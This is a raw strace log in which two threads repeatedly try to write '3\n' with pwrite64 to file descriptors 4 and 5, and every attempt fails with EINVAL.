[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
